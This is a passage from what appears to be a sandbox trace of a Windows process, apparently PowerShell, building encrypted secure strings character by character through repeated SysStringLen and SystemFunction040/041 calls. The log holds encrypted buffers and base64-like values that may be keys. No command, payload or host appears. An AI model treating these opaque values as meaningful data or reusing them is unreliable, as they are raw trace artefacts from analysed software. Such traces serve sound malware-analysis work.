Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.573] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利᯻ꐩ띈雽頖참") returned 0x20 [0207.573] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利᯻ꐩ띈雽頖참") returned 0x20 [0207.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.573] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lh쇢\샞櫩∴) returned 0x20 [0207.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.573] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利ꊧ얎죂㺙欂鏱벸") returned 0x20 [0207.573] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利ꊧ얎죂㺙欂鏱벸") returned 0x20 [0207.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.573] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz\샞櫩∴) returned 0x20 [0207.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.573] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利劧旇湆鐹稾࣭祐쀡") returned 0x20 [0207.573] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利劧旇湆鐹稾࣭祐쀡") returned 0x20 [0207.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.573] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz4\샞櫩∴) returned 0x20 [0207.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.574] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利藾愪쵑칑仺项ᑫ⒈") returned 0x20 [0207.574] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利藾愪쵑칑仺项ᑫ⒈") returned 0x20 [0207.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.574] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48꽪㓦") returned 0x20 [0207.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.574] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利㷀遃㒭謤᭗໽骧㙔") returned 0x20 [0207.574] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利㷀遃㒭謤᭗໽骧㙔") returned 0x20 [0207.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.574] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48I꽪㓦") returned 0x20 [0207.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.574] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利㾬ᖶ㊻윤泞괁粑\⋛) returned 0x20 [0207.574] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利㾬ᖶ㊻윤泞괁粑\⋛) returned 0x20 [0207.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.574] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48Iq㓦") returned 0x20 [0207.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.575] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利눾│螪壥⿲ᅘﻸ") returned 0x20 [0207.575] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利눾│螪壥⿲ᅘﻸ") returned 0x20 [0207.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.575] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48Iqr") returned 0x20 [0207.575] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.575] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐") returned 0x20 [0207.575] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐") returned 0x20 [0207.575] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐") returned 0x20 [0207.575] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐") returned 0x28 [0207.575] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.575] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48Iqrx고㚾喝滾쒤⮛") returned 0x28 [0207.575] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐十悰듷\뛉酨ઠ⋻) returned 0x28 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐十悰듷\뛉酨ઠ⋻) returned 0x28 [0207.576] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48Iqrxn㚾喝滾쒤⮛") returned 0x28 [0207.576] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐ꚱ짎幼痳ꫬ劂Ꞝ") returned 0x28 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐ꚱ짎幼痳ꫬ劂Ꞝ") returned 0x28 [0207.576] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48Iqrxnz喝滾쒤⮛") returned 0x28 [0207.576] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐䦁퀳䚥ꏘ㛿ᑑᤐ") returned 0x28 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐䦁퀳䚥ꏘ㛿ᑑᤐ") returned 0x28 [0207.576] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI滾쒤⮛") returned 0x28 [0207.576] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐껖䡉ﰬ鈺莿供㋪") returned 0x28 [0207.576] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐껖䡉ﰬ鈺莿供㋪") returned 0x28 [0207.577] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.577] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3쒤⮛") returned 0x28 [0207.577] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.577] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐䆾꼙㼓杗魄걁䃢") returned 0x28 [0207.577] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐䆾꼙㼓杗魄걁䃢") returned 0x28 [0207.577] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.577] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k⮛") returned 0x28 [0207.577] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.577] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐Ɨᙷ绸坺졈䆰ꪈ") returned 0x28 [0207.577] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐Ɨᙷ绸坺졈䆰ꪈ") returned 0x28 [0207.577] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.577] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k1") returned 0x28 [0207.577] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.577] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐皷᫽ﭨ䣦ḛ랞调衐") returned 0x28 [0207.577] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐皷᫽ﭨ䣦ḛ랞调衐") returned 0x28 [0207.577] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.578] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k1y") returned 0x28 [0207.578] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.578] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒≏) returned 0x28 [0207.578] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒≏) returned 0x28 [0207.578] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒≏) returned 0x28 [0207.578] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒≏) returned 0x30 [0207.578] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.578] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k1yz᪇蝄㦄泄浧懢艊") returned 0x30 [0207.578] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.578] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒問詐ꨓꘃ歞∦) returned 0x30 [0207.578] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒問詐ꨓꘃ歞∦) returned 0x30 [0207.578] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.579] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k1yz3蝄㦄泄浧懢艊") returned 0x30 [0207.579] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.579] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒䑏𢡄쓣흨ࠤ忷즞≇) returned 0x30 [0207.579] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒䑏𢡄쓣흨ࠤ忷즞≇) returned 0x30 [0207.579] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.579] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k1yz3o㦄泄浧懢艊") returned 0x30 [0207.579] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.579] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒ꉏ諠덥㽼쩥谟畯≨) returned 0x30 [0207.579] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利洽鑵䇗狛壨㢐⹸−荊\釛焒ꉏ諠덥㽼쩥谟畯≨) returned 0x30 [0207.579] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.579] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2lhz48IqrxnzI3k1yz3o=泄浧懢艊") returned 0x30 [0207.579] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0207.579] EtwEventActivityIdControl () returned 0x0 [0207.579] EtwEventActivityIdControl () returned 0x0 [0207.580] EtwEventActivityIdControl () returned 0x0 [0207.581] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.581] EtwEventActivityIdControl () returned 0x0 [0207.581] EtwEventActivityIdControl () returned 0x0 [0207.581] EtwEventActivityIdControl () returned 0x0 [0207.582] SysStringLen (param_1="") returned 0x8 [0207.582] SysStringLen (param_1="N") returned 0x8 [0207.582] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.582] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0207.582] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0207.582] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.582] SysStringLen (param_1="ND") returned 0x8 [0207.582] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.582] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0207.582] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0207.582] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.582] SysStringLen (param_1="NDZ") returned 0x8 [0207.582] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.582] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0207.582] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0207.583] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.583] SysStringLen (param_1="NDZl") returned 0x8 [0207.583] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.583] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0207.583] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0207.583] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.583] SysStringLen (param_1="NDZlO") returned 0x8 [0207.583] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.583] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0207.583] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0207.583] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.583] SysStringLen (param_1="NDZlOD") returned 0x8 [0207.583] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.583] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0207.583] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0207.583] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.584] SysStringLen (param_1="NDZlODR") returned 0x8 [0207.584] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.584] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0207.584] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0207.584] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.584] SysStringLen (param_1="NDZlODRm") returned 0x8 [0207.584] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.584] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0207.584] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0207.584] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0207.584] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0207.584] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.584] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0207.584] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.585] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0207.585] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0207.585] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.783] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0207.783] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0207.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0207.783] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.784] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0207.784] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0207.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0207.784] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.784] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0207.784] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0207.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0207.784] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.784] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0207.784] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0207.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0207.784] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.785] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0207.785] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0207.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0207.785] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.785] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0207.785] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0207.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0207.785] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.785] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0207.785] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0207.786] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.786] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0207.786] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0207.786] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: 